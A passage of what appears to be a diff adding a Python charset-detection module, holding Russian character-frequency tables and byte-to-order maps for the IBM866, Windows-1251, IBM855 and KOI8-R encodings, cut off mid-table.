'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 27: { # 'ю' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 1, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 1, # 'я' + }, + 16: { # 'я' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 2, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 2, # 'ю' + 16: 2, # 'я' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +IBM866_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 37, # 'А' + 129: 44, # 'Б' + 130: 33, # 'В' + 131: 46, # 'Г' + 132: 41, # 'Д' + 133: 48, # 'Е' + 134: 56, # 'Ж' + 135: 51, # 'З' + 136: 42, # 'И' + 137: 60, # 'Й' + 138: 36, # 'К' + 139: 49, # 'Л' + 140: 38, # 'М' + 141: 31, # 'Н' + 142: 34, # 'О' + 143: 35, # 'П' + 144: 45, # 'Р' + 145: 32, # 'С' + 146: 40, # 'Т' + 147: 52, # 'У' + 148: 53, # 'Ф' + 149: 55, # 'Х' + 150: 58, # 'Ц' + 151: 50, # 'Ч' + 152: 57, # 'Ш' + 153: 63, # 'Щ' + 154: 70, # 'Ъ' + 155: 62, # 'Ы' + 156: 61, # 'Ь' + 157: 47, # 'Э' + 158: 59, # 'Ю' + 159: 43, # 'Я' + 160: 3, # 'а' + 161: 21, # 'б' + 162: 10, # 'в' + 163: 19, # 'г' + 164: 13, # 'д' + 165: 2, # 'е' + 166: 24, # 'ж' + 167: 20, # 'з' + 168: 4, # 'и' + 169: 23, # 'й' + 170: 11, # 'к' + 171: 8, # 'л' + 172: 12, # 'м' + 173: 5, # 'н' + 174: 1, # 'о' + 175: 15, # 'п' + 176: 191, # '░' + 177: 192, # '▒' + 178: 193, # '▓' + 179: 194, # '│' + 180: 195, # '┤' + 181: 196, # '╡' + 182: 197, # '╢' + 183: 198, # '╖' + 184: 199, # '╕' + 185: 200, # '╣' + 186: 201, # '║' + 187: 202, # '╗' + 188: 203, # '╝' + 189: 204, # '╜' + 190: 205, # '╛' + 191: 206, # '┐' + 192: 207, # '└' + 193: 208, # '┴' + 194: 209, # '┬' + 195: 210, # '├' + 196: 211, # '─' + 197: 212, # '┼' + 198: 213, # '╞' + 199: 214, # '╟' + 200: 215, # '╚' + 201: 216, # '╔' + 202: 217, # '╩' + 203: 218, # '╦' + 204: 219, # '╠' + 205: 220, # '═' + 206: 221, # '╬' + 207: 222, # '╧' + 208: 223, # '╨' + 209: 224, # '╤' + 210: 225, # '╥' + 211: 226, # '╙' + 212: 227, # '╘' + 213: 228, # '╒' + 214: 229, # '╓' + 215: 230, # '╫' + 216: 231, # '╪' + 217: 232, # '┘' + 218: 233, # '┌' + 219: 234, # '█' + 220: 235, # '▄' + 221: 236, # '▌' + 222: 237, # '▐' + 223: 238, # '▀' + 224: 9, # 'р' + 225: 7, # 'с' + 226: 6, # 'т' + 227: 14, # 'у' + 228: 39, # 'ф' + 229: 26, # 'х' + 230: 28, # 'ц' + 231: 22, # 'ч' + 232: 25, # 'ш' + 233: 29, # 'щ' + 234: 54, # 'ъ' + 235: 18, # 'ы' + 236: 17, # 'ь' + 237: 30, # 'э' + 238: 27, # 'ю' + 239: 16, # 'я' + 240: 239, # 'Ё' + 241: 68, # 'ё' + 242: 240, # 'Є' + 243: 241, # 'є' + 244: 242, # 'Ї' + 245: 243, # 'ї' + 246: 244, # 'Ў' + 247: 245, # 'ў' + 248: 246, # '°' + 249: 247, # '∙' + 250: 248, # '·' + 251: 249, # '√' + 252: 250, # '№' + 253: 251, # '¤' + 254: 252, # '■' + 255: 255, # '\xa0' +} + +IBM866_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='IBM866', + language='Russian', + char_to_order_map=IBM866_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +WINDOWS_1251_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # 'Ђ' + 129: 192, # 'Ѓ' + 130: 193, # '‚' + 131: 194, # 'ѓ' + 132: 195, # '„' + 133: 196, # '…' + 134: 197, # '†' + 135: 198, # '‡' + 136: 199, # '€' + 137: 200, # '‰' + 138: 201, # 'Љ' + 139: 202, # '‹' + 140: 203, # 'Њ' + 141: 204, # 'Ќ' + 142: 205, # 'Ћ' + 143: 206, # 'Џ' + 144: 207, # 'ђ' + 145: 208, # '‘' + 146: 209, # '’' + 147: 210, # '“' + 148: 211, # '”' + 149: 212, # '•' + 150: 213, # '–' + 151: 214, # '—' + 152: 215, # None + 153: 216, # '™' + 154: 217, # 'љ' + 155: 218, # '›' + 156: 219, # 'њ' + 157: 220, # 'ќ' + 158: 221, # 'ћ' + 159: 222, # 'џ' + 160: 223, # '\xa0' + 161: 224, # 'Ў' + 162: 225, # 'ў' + 163: 226, # 'Ј' + 164: 227, # '¤' + 165: 228, # 'Ґ' + 166: 229, # '¦' + 167: 230, # '§' + 168: 231, # 'Ё' + 169: 232, # '©' + 170: 233, # 'Є' + 171: 234, # '«' + 172: 235, # '¬' + 173: 236, # '\xad' + 174: 237, # '®' + 175: 238, # 'Ї' + 176: 239, # '°' + 177: 240, # '±' + 178: 241, # 'І' + 179: 242, # 'і' + 180: 243, # 'ґ' + 181: 244, # 'µ' + 182: 245, # '¶' + 183: 246, # '·' + 184: 68, # 'ё' + 185: 247, # '№' + 186: 248, # 'є' + 187: 249, # '»' + 188: 250, # 'ј' + 189: 251, # 'Ѕ' + 190: 252, # 'ѕ' + 191: 253, # 'ї' + 192: 37, # 'А' + 193: 44, # 'Б' + 194: 33, # 'В' + 195: 46, # 'Г' + 196: 41, # 'Д' + 197: 48, # 'Е' + 198: 56, # 'Ж' + 199: 51, # 'З' + 200: 42, # 'И' + 201: 60, # 'Й' + 202: 36, # 'К' + 203: 49, # 'Л' + 204: 38, # 'М' + 205: 31, # 'Н' + 206: 34, # 'О' + 207: 35, # 'П' + 208: 45, # 'Р' + 209: 32, # 'С' + 210: 40, # 'Т' + 211: 52, # 'У' + 212: 53, # 'Ф' + 213: 55, # 'Х' + 214: 58, # 'Ц' + 215: 50, # 'Ч' + 216: 57, # 'Ш' + 217: 63, # 'Щ' + 218: 70, # 'Ъ' + 219: 62, # 'Ы' + 220: 61, # 'Ь' + 221: 47, # 'Э' + 222: 59, # 'Ю' + 223: 43, # 'Я' + 224: 3, # 'а' + 225: 21, # 'б' + 226: 10, # 'в' + 227: 19, # 'г' + 228: 13, # 'д' + 229: 2, # 'е' + 230: 24, # 'ж' + 231: 20, # 'з' + 232: 4, # 'и' + 233: 23, # 'й' + 234: 11, # 'к' + 235: 8, # 'л' + 236: 12, # 'м' + 237: 5, # 'н' + 238: 1, # 'о' + 239: 15, # 'п' + 240: 9, # 'р' + 241: 7, # 'с' + 242: 6, # 'т' + 243: 14, # 'у' + 244: 39, # 'ф' + 245: 26, # 'х' + 246: 28, # 'ц' + 247: 22, # 'ч' + 248: 25, # 'ш' + 249: 29, # 'щ' + 250: 54, # 'ъ' + 251: 18, # 'ы' + 252: 17, # 'ь' + 253: 30, # 'э' + 254: 27, # 'ю' + 255: 16, # 'я' +} + +WINDOWS_1251_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1251', + language='Russian', + char_to_order_map=WINDOWS_1251_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +IBM855_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # 'ђ' + 129: 192, # 'Ђ' + 130: 193, # 'ѓ' + 131: 194, # 'Ѓ' + 132: 68, # 'ё' + 133: 195, # 'Ё' + 134: 196, # 'є' + 135: 197, # 'Є' + 136: 198, # 'ѕ' + 137: 199, # 'Ѕ' + 138: 200, # 'і' + 139: 201, # 'І' + 140: 202, # 'ї' + 141: 203, # 'Ї' + 142: 204, # 'ј' + 143: 205, # 'Ј' + 144: 206, # 'љ' + 145: 207, # 'Љ' + 146: 208, # 'њ' + 147: 209, # 'Њ' + 148: 210, # 'ћ' + 149: 211, # 'Ћ' + 150: 212, # 'ќ' + 151: 213, # 'Ќ' + 152: 214, # 'ў' + 153: 215, # 'Ў' + 154: 216, # 'џ' + 155: 217, # 'Џ' + 156: 27, # 'ю' + 157: 59, # 'Ю' + 158: 54, # 'ъ' + 159: 70, # 'Ъ' + 160: 3, # 'а' + 161: 37, # 'А' + 162: 21, # 'б' + 163: 44, # 'Б' + 164: 28, # 'ц' + 165: 58, # 'Ц' + 166: 13, # 'д' + 167: 41, # 'Д' + 168: 2, # 'е' + 169: 48, # 'Е' + 170: 39, # 'ф' + 171: 53, # 'Ф' + 172: 19, # 'г' + 173: 46, # 'Г' + 174: 218, # '«' + 175: 219, # '»' + 176: 220, # '░' + 177: 221, # '▒' + 178: 222, # '▓' + 179: 223, # '│' + 180: 224, # '┤' + 181: 26, # 'х' + 182: 55, # 'Х' + 183: 4, # 'и' + 184: 42, # 'И' + 185: 225, # '╣' + 186: 226, # '║' + 187: 227, # '╗' + 188: 228, # '╝' + 189: 23, # 'й' + 190: 60, # 'Й' + 191: 229, # '┐' + 192: 230, # '└' + 193: 231, # '┴' + 194: 232, # '┬' + 195: 233, # '├' + 196: 234, # '─' + 197: 235, # '┼' + 198: 11, # 'к' + 199: 36, # 'К' + 200: 236, # '╚' + 201: 237, # '╔' + 202: 238, # '╩' + 203: 239, # '╦' + 204: 240, # '╠' + 205: 241, # '═' + 206: 242, # '╬' + 207: 243, # '¤' + 208: 8, # 'л' + 209: 49, # 'Л' + 210: 12, # 'м' + 211: 38, # 'М' + 212: 5, # 'н' + 213: 31, # 'Н' + 214: 1, # 'о' + 215: 34, # 'О' + 216: 15, # 'п' + 217: 244, # '┘' + 218: 245, # '┌' + 219: 246, # '█' + 220: 247, # '▄' + 221: 35, # 'П' + 222: 16, # 'я' + 223: 248, # '▀' + 224: 43, # 'Я' + 225: 9, # 'р' + 226: 45, # 'Р' + 227: 7, # 'с' + 228: 32, # 'С' + 229: 6, # 'т' + 230: 40, # 'Т' + 231: 14, # 'у' + 232: 52, # 'У' + 233: 24, # 'ж' + 234: 56, # 'Ж' + 235: 10, # 'в' + 236: 33, # 'В' + 237: 17, # 'ь' + 238: 61, # 'Ь' + 239: 249, # '№' + 240: 250, # '\xad' + 241: 18, # 'ы' + 242: 62, # 'Ы' + 243: 20, # 'з' + 244: 51, # 'З' + 245: 25, # 'ш' + 246: 57, # 'Ш' + 247: 30, # 'э' + 248: 47, # 'Э' + 249: 29, # 'щ' + 250: 63, # 'Щ' + 251: 22, # 'ч' + 252: 50, # 'Ч' + 253: 251, # '§' + 254: 252, # '■' + 255: 255, # '\xa0' +} + +IBM855_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='IBM855', + language='Russian', + char_to_order_map=IBM855_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +KOI8_R_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # '─' + 129: 192, # '│' + 130: 193, # '┌' + 131: 194, # '┐' + 132: 195, # '└' + 133: 196, # '┘' + 134: 197, # '├' + 135: 198, # '┤' + 136: 199, # '┬' + 137: 200, # '┴' + 138: 201, # '┼' + 139: 202, # '▀' + 140: 203, # '▄' + 141: 204, # '█' + 142: 205, # '▌' + 143: 206, # '▐' + 144: 207, # '░' + 145: 208, # '▒' + 146: 209, # '▓' + 147: 210, # '⌠' + 148: 211, # '■' + 149: 212, # '∙' + 150: 213, # '√' + 151: 214, # '≈' + 152: 215, # '≤' + 153: 216, # '≥' + 154: 217, # '\xa0' + 155: 218, # '⌡' + 156: 219, # '°' + 157: 220, # '²' + 158: 221, # '·' + 159: 222, # '÷' + 160: 223, # '═' + 161: 224, # '║' + 162: 225, # '╒' + 163: 68, # 'ё' + 164: 226, # '╓' + 165: 227, # '╔' + 166: 228, # '╕' + 167: 229, # '╖' + 168: 230, # '╗' + 169: 231, # '╘' + 170: 232, # '╙' + 171: 233, # '╚' + 172: 234, # '╛' + 173: 235, # '╜' + 174: 236, # '╝' + 175: 237, # '╞' + 176: 238, # '╟' + 177: 239, # '╠' + 178: 240, # '╡' + 179: 241, # 'Ё' + 180: 242, # '╢' + 181: 243, # '╣' + 182: 244, # '╤' + 183: 245, # '╥' + 184: 246, # '╦' + 185: 247, # '╧' + 186: 248, # '╨' + 187: 249, # '╩' + 188: 250, # '╪' + 189: 251, # '╫' + 190: 252, # '╬' + 191: 253, # '©' + 192: 27, # 'ю' + 193: 3, # 'а' + 194: 21, # 'б' + 195: 28, # 'ц' + 196: 13, # 'д' + 197: 2, # 'е' + 198: 39, # 'ф' + 199: 19, # 'г' + 200: 26, # 'х' + 201: 4, # 'и' + 202: 23, # 'й' + 203: 11, # 'к' + 204: 8, # 'л' + 205: 12, # 'м' + 206: 5, # 'н' + 207: 1, # 'о' + 208: 15, # 'п' + 209: 16, # 'я' + 210: 9, # 'р' + 211: 7, # 'с' + 